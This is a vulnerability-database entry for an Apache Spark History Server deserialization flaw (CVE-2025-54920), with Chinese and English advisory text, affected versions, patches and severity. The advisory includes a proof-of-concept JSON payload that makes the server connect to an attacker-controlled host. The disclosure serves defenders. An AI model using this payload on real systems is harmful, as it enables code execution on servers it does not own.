Vulnerability-Lookup

CNVD-2026-14252

Vulnerability from cnvd - Published: 2026-03-19

Title

Apache Spark反序列化漏洞

Description

Apache Spark是美国阿帕奇（Apache）基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。 Apache Spark存在反序列化漏洞。该漏洞源于Spark History Web UI对事件日志数据的Jackson反序列化过于宽松，攻击者可利用该漏洞通过注入恶意JSON有效载荷在主机上执行任意代码。

Severity

高

Patch Name

Apache Spark反序列化漏洞的补丁

Patch Description

Formal description

厂商已发布了漏洞修复程序，请及时关注更新： https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s

Reference

https://github.com/apache/spark/pull/51312

Impacted products

Name
['Apache Spark <3.5.7', 'Apache Spark <4.0.1']

Show details on source website

JSON

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      "cveNumber": "CVE-2025-54920",
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  "number": "CNVD-2026-14252",
  "openTime": "2026-03-19",
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  "submitTime": "2026-03-19",
  "title": "Apache Spark\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"
}

CVE-2025-54920 (GCVE-0-2025-54920)

Vulnerability from cvelistv5 – Published: 2026-03-14 09:01 – Updated: 2026-03-17 12:45

Title

Apache Spark: Spark History Server Code Execution Vulnerability

Summary

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-17 03:55 UTC

CWE

CWE-502 - Deserialization of Untrusted Data

Assigner

apache mitre root

References

5 references

URL	Tags
https://github.com/apache/spark/pull/51312	patch
https://github.com/apache/spark/pull/51323	patch
https://issues.apache.org/jira/browse/SPARK-52381	issue-tracking
https://lists.apache.org/thread/4y9n0nfj7m68o2hpm…	vendor-advisory
http://www.openwall.com/lists/oss-security/2026/03/13/4

Impacted products

1 product

Vendor	Product	Version
Apache Software Foundation	Apache Spark	Affected: 0 , < 3.5.7 (semver) Affected: 4.0.0 , < 4.0.1 (semver)

Credits

Alexandre Pujol (Linagora)

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JSON

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CNVD-2026-14252

CVE-2025-54920 (GCVE-0-2025-54920)

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